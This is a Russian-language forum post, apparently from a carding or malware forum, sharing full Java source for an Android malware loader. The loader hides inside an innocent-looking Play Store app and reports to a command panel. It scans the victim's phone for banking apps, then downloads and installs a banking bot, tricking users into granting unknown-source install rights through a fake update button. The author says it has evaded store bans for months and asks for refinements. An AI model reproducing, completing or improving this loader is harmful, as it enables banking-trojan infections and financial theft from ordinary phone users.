Пожалуйста, обратите внимание, что пользователь заблокирован
Господа, я не являюсь профессиональным кодером, еще полгода назад я даже не знал что существует ява, поэтому слепил примитивный лоадер.
Цена исходников аппа для андроида 10 баксов, цена аккаунта разработчика 25 баксов, а на рынке нет лоадеров, по крайней мере когда вступал на этот путь ничего адекватного не нашел,
этот лоадер работает у меня уже 3-4 месяца на нескольких акков, нет ни одного бана.
цель выкладывания - довести до ума, кто даст дельные советы, буду переодически обновлять стартовый пост.
цель лоадера - минимальным кодом установить бота на тело, я воткнул все в одно активити, которое можно вставить в любое приложение как загрузочный экран
часть вырезано, такие сложности как шифрование трафика, шифрование данных в хранилище и прочее не нужное
я отказался от сложностей типа фейрбазе и прочих ништяков, так белый апп с маркета в 80% сносят в первые пару дней, нет смысла копить ботов, а вот жирных выцыпить сразу - более приоритетно
ПыСы я ни продаю, ни ставлю, ни разрабатываю и ничего вообще не делаю противозаконного, не нужно мне ничего писать в личку.
Цена исходников аппа для андроида 10 баксов, цена аккаунта разработчика 25 баксов, а на рынке нет лоадеров, по крайней мере когда вступал на этот путь ничего адекватного не нашел,
этот лоадер работает у меня уже 3-4 месяца на нескольких акков, нет ни одного бана.
цель выкладывания - довести до ума, кто даст дельные советы, буду переодически обновлять стартовый пост.
цель лоадера - минимальным кодом установить бота на тело, я воткнул все в одно активити, которое можно вставить в любое приложение как загрузочный экран
часть вырезано, такие сложности как шифрование трафика, шифрование данных в хранилище и прочее не нужное
я отказался от сложностей типа фейрбазе и прочих ништяков, так белый апп с маркета в 80% сносят в первые пару дней, нет смысла копить ботов, а вот жирных выцыпить сразу - более приоритетно
Java:
public class MainActivity extends Activity {
private static final String ADMIN_PANEL = "http://127.0.0.1/"; // тут понятно все
private final Context mContext = this;
// не будем писать сами общение с админкой доверим OkHttpClient нужно только добавить в gradle dependencies эту строку implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.3'
// OkHttpClient выбран потому, что можно быстро маштабировать под шифрование и кодирование трафика не првязываясь к json, хотя он будет дефолтным
private final OkHttpClient client = new OkHttpClient();
private boolean APP_CONNECT = false; // будет ситуация когда лоадер не достучиться до админки, блокнули домен/нет инета и прочее, этой переменной мы отловим эту ситуацию
private JSONObject LOADER_DATA = null; // наша главная переменная будет тащить в себе всю информацию
private SharedPreferences sharedPreferences; // будем использовать sharedPreferences как самое примитивное и быстрое хранилище для нашей информации
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
sharedPreferences = mContext.getSharedPreferences("localpref", Context.MODE_PRIVATE);
loadSession();
// при старте аппа, даем 10 секунд лоадеру, что бы сделать свои дела, если он не достучался до админки либо не смог сформировать данные свои - выходим в белый апп
new Handler(Looper.getMainLooper()).postDelayed(this::checkInternet, 10000);
}
private void checkInternet(){
if( LOADER_DATA == null || !APP_CONNECT ){
startRealApplication();
}
}
@Override
protected void onResume() {
/*
очень важно при восстановление нашего активти, воссоздать нашу переменную и стартануть какие либо действия,
юзер обязательно будет тыкать туда сюда, включать выключать активити, а мы должно держать руку на пульсе всегда
*/
super.onResume();
loadSession();
}
public void startRealApplication(){
//старт реального белого аппа тут RealApplication - имя активити с которого оно должно по умолчанию стартовать
Intent m = new Intent(this, RealApplication.class);
m.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY );
startActivity(m);
}
public void updateUI(String step){
/*
функция, которая развлекает юзера в процессе работы тут можно по шагам его информировать
например
* нужно обновить апп
* скачивание обновление и какой-то прогресс бар
* дай права ставить из неизвестных источников
* и прочее
*/
runOnUiThread(() -> {
TextView loaderText = (TextView) findViewById(R.id.loaderText); // просто для вывод какого либо текста что бы скрасить ожидание юзера
switch (step){
case "startDownloadFile":
loaderText.setText(step);
break;
case "endDownloadFile":
loaderText.setText(step);
break;
case "needPermission":
loaderText.setText(step);
Button b = (Button) findViewById(R.id.button);
b.setOnClickListener(v -> {
startPerm();
});
b.setVisibility(View.VISIBLE);
break;
case "startInstall":
loaderText.setText(step);
break;
default:
loaderText.setText(step);
break;
}
});
}
private void sendData(JSONObject data, String status) {
try{
data.put("status", status);
RequestBody requestBody = new FormBody
.Builder()
.add("data", data.toString() ) // вот в этом моменте я не отдаю json, так как тут должно быть шифрование общения с сервером, поэтому отдам просто строкой
.build();
Request request = new Request
.Builder()
.url(ADMIN_PANEL)
.addHeader("cache-control","no_cache")
.addHeader("User-Agent","Mozilla/5.0")
.post(requestBody)
.build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
}
@Override
public void onResponse(Call call, Response response) {
if (response.isSuccessful()) {
try {
String resString = response.body().string();
//сначало мы считаем плайн текст, так как тут должно быть тоже зашифровано тело
JSONObject res = new JSONObject(resString);
APP_CONNECT = true; // коннект с админкой есть
if( res.has("action") ){
/*
от лоадера мы просим исполнение 3 возможных желаний
a. проверить тело на наличии банк аппов
b. поставить бота
c. тело пыстышка, дрочер, трафер опять наипал нас с качеством
*/
switch (res.getString("action")){
case "a":
// проверяем на теле список аппов полученных с админки массивом
JSONArray appsResult = new JSONArray();
JSONArray appsCheck = res.getJSONArray("apps");
for(int i = 0; i < appsCheck.length(); i++){
String app = appsCheck.getString(i);
if( isPackageInstalled( app )){
appsResult.put(app);
}
}
JSONObject dataReturn = new JSONObject();
dataReturn.put("botID", LOADER_DATA.getString("botID"));
if( appsResult.length() == 0 ){
// бот гавно, ничего нет, запускаем белый апп и сообщаем на админку что нужно трафера покарать
dataReturn.put("apps", "none");
sendData(dataReturn,"apps");
startRealApplication();
}else{
// есть банкаппы, сообщаем на админку какие есть и ждем команды следующей
dataReturn.put("apps", appsResult);
sendData(dataReturn,"apps");
}
break;
case "b":
//нужно скачать и происталлить бота, это процесс может быть чуток долгий, поэтому тут вызовем поток уи и что-то сообщим юзеру
updateUI("startDownloadFile");
downloadFile(res);
break;
case "c":
// запускаем белый апп
startRealApplication();
break;
}
}
} catch (Exception e) { startRealApplication(); }
}else{ startRealApplication(); }
}
});
}catch (Exception e){ startRealApplication(); }
}
private void downloadFile(JSONObject data) {
// просто скачиваем файл и запускаем установку
try {
String url = data.getString("url"); //урл по которому качаем файл полученный с админки
OkHttpClient client2 = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
client2.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
InputStream is = response.body().byteStream();
BufferedInputStream input = new BufferedInputStream(is);
String cacheFile = createBotID() + ".apk"; // так как каждый будет под себя делать функцию генерации ботИД - просто сгенерируем как имя файла
String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
File file = new File(PATH, cacheFile);
OutputStream output = new FileOutputStream(file);
byte[] buff = new byte[1024 * 4];
while (true) {
int byteCount = input.read(buff);
if (byteCount == -1) {
break;
}
output.write(buff, 0, byteCount);
}
output.flush();
output.close();
input.close();
try{
// итак файл скачен успешно, сразу зафиксируем это
LOADER_DATA.put("timeFile", 0);
LOADER_DATA.put("package", data.getString("package"));
LOADER_DATA.put("cacheFile", cacheFile);
saveInPreferences(LOADER_DATA);
}catch (Exception ignored){}
updateUI("endDownloadFile");
startInstall();
}
});
} catch (Exception e) {
startRealApplication();
}
}
private void startInstall() {
try {
if( isBotInstalled() || LOADER_DATA.has("botInstalled")){ // проверим еще раз, точно бота нет на теле
startRealApplication();
return;
}
if( !checkCanRequestPackageInstalls() ){
updateUI("needPermission");
return;
}
if( LOADER_DATA.getLong("timeStart") + 16000 > System.currentTimeMillis()){ // а вот тут определим 16 секунд между стартами инсталла
return;
}
LOADER_DATA.put("timeStart",System.currentTimeMillis());
String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
Uri downloaded_apk = FileProvider.getUriForFile(this, getApplicationContext().getPackageName() + ".provider", file);
intent.setDataAndType(downloaded_apk, "application/vnd.android.package-archive");
List<ResolveInfo> resInfoList = mContext.getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
for (ResolveInfo resolveInfo : resInfoList) {
mContext.grantUriPermission(mContext.getApplicationContext().getPackageName() + ".provider", downloaded_apk, Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
}
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(intent);
new Handler(Looper.getMainLooper()).postDelayed(this::isBotInstalled, 30000);
}catch (Exception e){
startRealApplication();
}
}
private boolean checkCanRequestPackageInstalls() {
/*
самая слабая точка тут - разрешение ставить из неизвестных источников,
кто-то игнорирует этот вопрос и просто заебывает окном, кто-то разводку делает на уровни Ганибала Лектора
ну факт есь фактом, это самое слабое звено, я просто кнопку вывожу в активити типа апдейт апп!
при нажатии на которую просто перекидывает в сеттинг
*/
try {
return getPackageManager().canRequestPackageInstalls();
}catch (Exception ignored){}
return true;
}
private void startPerm() {
//открываем сеттинг для получение разрешение стаивть из неизвестных источников
Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
intent.setData(Uri.parse("package:" + getPackageName()));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
startActivityForResult(intent,12);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent i) {
/*
если он нажал назад и не дал нам разрешение - опять выкидываем его, пока не даст либо не уйдет
разные версии андроил по разному реагируют, 11 роняет полностью наш лоадер,
в этом случаем мы подхватим эту ситуацию в loadSession, да в любом случае подхватим так как сработает onResume
ну если юзер дал права, то начинаем ставить
*/
if( !checkCanRequestPackageInstalls() ){
startPerm();
}else{
updateUI("startInstall");
startInstall();
}
}
private void loadSession(){
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) { // если меньше 8 версия то нафиг ее, выпускаем в реал апп
startRealApplication();
return;
}
try {
if( LOADER_DATA == null ){ // первая загрузка аппа или восстановление, наша переменная обнулена, восстановливаем ее и пытаемся продолжить работу
LOADER_DATA = firstStart();
}
if( LOADER_DATA == null || !LOADER_DATA.has("botID") || LOADER_DATA.has("botInstalled") ){
/*
при любом запуске активити проверим 3 возможных состояния
1. данные не получены, сломалось шифрование или еще чего
2. данные получены, ну нет ботИД, считаем данные некорректными
3. данные корректны, ну лоадер уже выполнил свою работу
в этих случаях отдаем белый апп
*/
startRealApplication();
}else{
if (LOADER_DATA.has("package") && isBotInstalled()) {
/*
если мы находим в нашей переменой имя пакета бота - то проверим, может он установлен уже ?
надеюсь все ставят бота с рандомизированным именем пакета
*/
startRealApplication();
} else {
if( LOADER_DATA.has("cacheFile") ){
//проверим ситуацию, когда файл бота скачен , ну еще не запущен процесс инсталла
String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
if( file.exists() ){
startInstall(); // пробуем снова запустить инсталл
}else{
sendData(LOADER_DATA, "start"); // запись о файле есть, ну файла нет, может АВ грохнуло, не важно, стучим на админку
}
}else{
sendData(LOADER_DATA, "start"); // ничего не было из возможных варинтов - стукнем на админку и скажем, что первый запуск
}
}
}
}catch (Exception e){
startRealApplication(); // в любой непредвиденной ситуации отдаем юзеру реал апп
}
}
private boolean isPackageInstalled(String aPackage) {
/*
пытаемся получить данные об установленном аппе, если его нет то выкинет исключение - значит аппа нет
ну эта функция работает загадочно, если апп поставлен из маркета - то он выдаст сразу информацию
ну если поставлен апп из внешних источников, то нужно время что бы андроид прочитал манифест
а когда он это сделаем это загадка для всех поэтому будем двумя вариантами проверять установку бота
а для проверки наличия банкаппов это самое идеальное решение
*/
try {
PackageManager b = mContext.getPackageManager();
b.getPackageInfo(aPackage, 0);
return true;
} catch (PackageManager.NameNotFoundException e) {
return false;
}
}
private boolean isBotInstalled() {
try{
// первая проверка на установленного бота - пытаемся его запустить
Intent launchIntent = getPackageManager().getLaunchIntentForPackage(LOADER_DATA.getString("package"));
if (launchIntent != null) {
launchIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(launchIntent);
return allOk();
}else{
if( isPackageInstalled(LOADER_DATA.getString("package")) ){
// вторая проверка на установленного бота - пытаемся получить данные об аппе
return allOk();
}
}
}catch(Exception ignored){ }
return false;
}
private boolean allOk() {
// простенькая функция, подчищающая за собой и сохраняет состояние удачного исталла
try{
LOADER_DATA.put("botInstalled","ok");
String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
file.delete();
}catch (Exception ignored){}
saveInPreferences(LOADER_DATA);
startRealApplication();
return true;
}
// sharedPreferences
private void saveInPreferences(JSONObject data) {
/*
я специально вынес работу с хранилищем отдельной функцией, так как хранить открытым текстом критичные
данные неосмотрительно, вот тут можно зашифровать, ну это дело каждого
*/
try{
sharedPreferences.edit().putString("myData", data.toString() ).apply();
}catch (Exception ignored){}
}
private JSONObject loadFromPreferences() {
/*
вот тут можно дешифровать
*/
try{
String str = sharedPreferences.getString("myData", null);
if( str != null && !str.isEmpty() ){
return new JSONObject(str);
}
}catch (Exception ignored){}
return null;
}
// END sharedPreferences
public JSONObject firstStart(){
try {
JSONObject data = loadFromPreferences(); // пытаемся загрузить данные из sharedPreferences
if (data == null || !data.has("botID")) { //данных нет, это скорее всего первый запуск, нужно собрать с телефона хоть какую либо статсу
data = new JSONObject();
data.put("botID", createBotID());
data.put("model", Build.MODEL);
data.put("vendor",Build.MANUFACTURER );
data.put("sdk", Build.VERSION.SDK_INT );
saveInPreferences(data); // сохраним их в sharedPreferences
}
return data;
}catch (Exception ignored){}
return null;
}
private String createBotID(){
//тут формируем ботИД под свое предпочтение, кто-то md5 любит, кто-то строго строки или строго цифры
return "exampleBotID";
}
}
Последнее редактирование: